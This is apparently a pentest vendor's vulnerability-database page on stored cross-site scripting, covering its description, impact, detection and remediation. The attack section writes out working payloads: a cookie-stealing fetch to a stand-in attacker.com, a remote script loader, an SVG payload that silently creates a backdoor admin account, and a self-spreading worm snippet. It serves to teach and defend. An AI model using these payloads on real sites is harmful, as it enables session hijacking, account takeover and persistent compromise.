SecureBlockLog inStart a pentest
Vulnerability Repository
HighInjection

Stored Cross-Site Scripting

Malicious scripts persisted in the application database execute in every victim's browser that loads the affected page, enabling mass session hijacking and malware delivery.

CVSS 8.8CWE CWE-79OWASP A03:2021 — Injection

Description

Stored cross-site scripting (stored XSS, also called persistent XSS) is a variant of CWE-79 where the injected script is saved to the application's data store — a database, file system, cache, or message queue — and then served to all subsequent visitors who load the affected page. Unlike reflected XSS, which requires tricking individual victims into clicking a crafted link, stored XSS automatically targets every user who views the compromised content, multiplying the attacker's reach by the application's user base.

Stored XSS appears in any feature that accepts user-supplied content and later displays it to other users: comment sections, user profile fields, product reviews, support tickets, message boards, document editors, chat applications, and administrative dashboards. The vulnerability exists under OWASP A03:2021 (Injection) and is particularly severe because a single successful injection can persist for months or years if not discovered.

The impact of stored XSS scales with the privilege of the accounts viewing the infected page. A payload stored in a support ticket system that administrators review creates an XSS worm targeting admin accounts — leading to account takeover, configuration changes, or complete application compromise without the attacker being present when the exploit fires.

How It Works

An attacker submits a malicious payload via a product comment form:

POST /api/comments
Content-Type: application/json

{
  "product_id": 42,
  "text": "Great product! <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"
}

The application stores this without sanitization. When any user visits the product page, the comment is rendered as HTML, executing the script in their browser. The script exfiltrates the user's session cookie to the attacker's server, enabling session hijacking.

DOM manipulation payload — a more evasive alternative that avoids obvious <script> tags:

<img src=x onerror="var s=document.createElement('script');s.src='https://attacker.com/payload.js';document.head.appendChild(s)">

Admin panel targeting — if the injected content appears in an admin dashboard (e.g., a user-submitted support ticket), the payload executes with admin privileges:

<svg onload="fetch('/api/admin/create-user',{method:'POST',body:JSON.stringify({username:'backdoor',password:'pwned',role:'admin'}),headers:{'Content-Type':'application/json'}})">

This creates a persistent backdoor admin account silently when the support team views the ticket.

XSS worm — the payload replicates itself by posting the same malicious comment to other resources on behalf of the victim:

fetch('/api/comments', {method:'POST', body: JSON.stringify({text: PAYLOAD}), headers: {'Content-Type':'application/json', 'X-CSRF-Token': document.querySelector('meta[name=csrf-token]').content}})

Penetration testers use Burp Suite to intercept and modify comment/profile submissions, and XSSHunter (or its open-source equivalent) to capture blind stored XSS callbacks in admin panels.

Impact

  • Mass Session Hijacking — Stealing session cookies from every user who views the infected page
  • Account Takeover — Changing passwords, email addresses, and 2FA settings of affected accounts via authenticated API calls
  • Admin Compromise — Executing privileged actions (user creation, configuration changes, data export) when admin accounts load infected content
  • Malware Distribution — Redirecting victims to drive-by download pages or silently loading crypto-miners and keyloggers
  • XSS Worm Propagation — Self-replicating payloads that spread the injection to additional content, compounding the impact over time

Detection

  1. Submit XSS payloads in all input fields — test comment boxes, profile fields, filenames, bio sections, and any other stored user content with <script>alert(1)</script>, <img src=x onerror=alert(1)>, and "><svg onload=alert(1)>.
  2. Use XSSHunter or Burp Collaborator for blind stored XSS — inject a payload that calls back to your server (<script src="https://your-xsshunter.com/payload.js"></script>) in fields that may only appear in admin panels or email templates.
  3. Check all output contexts — the same stored value may be rendered in HTML, inside a JavaScript variable, in a JSON API response, or in an email. Each context requires different escaping and may be vulnerable independently.
  4. Test rich-text editors — WYSIWYG editors (TinyMCE, Quill, CKEditor) often allow HTML input. Test for HTML injection and SVG payload execution even if <script> is blocked.
  5. Review API responses — use Burp Suite to observe what stored user content the application returns in JSON responses and whether downstream code renders it with innerHTML or dangerouslySetInnerHTML.
  6. Inspect CSP headers — use curl -I to check Content-Security-Policy headers. A missing or weak CSP ('unsafe-inline', * wildcards) amplifies stored XSS impact.

Remediation

Encode output at render time. Apply context-appropriate encoding: HTML entity encoding for HTML contexts, JavaScript string escaping for JS contexts, and URL encoding for attribute values. Use a templating engine that auto-escapes by default (Jinja2, Handlebars, React's JSX).

Sanitize stored HTML with a whitelist library. For features that must accept rich HTML (document editors, profile bios), use a proven HTML sanitization library rather than a blocklist:

// Node.js — DOMPurify
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const safeHtml = purify.sanitize(userInput);

Implement a strict Content Security Policy. Deploy a CSP with script-src 'self' and a nonce or hash for inline scripts. This limits the blast radius even if XSS is present.

Set HttpOnly and Secure cookie flags. HttpOnly prevents JavaScript from accessing session cookies, breaking the most common stored XSS exploitation chain.

Use dangerouslySetInnerHTML sparingly. In React, avoid this prop entirely. In Angular, avoid bypassSecurityTrustHtml. These APIs disable the framework's built-in XSS protection.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping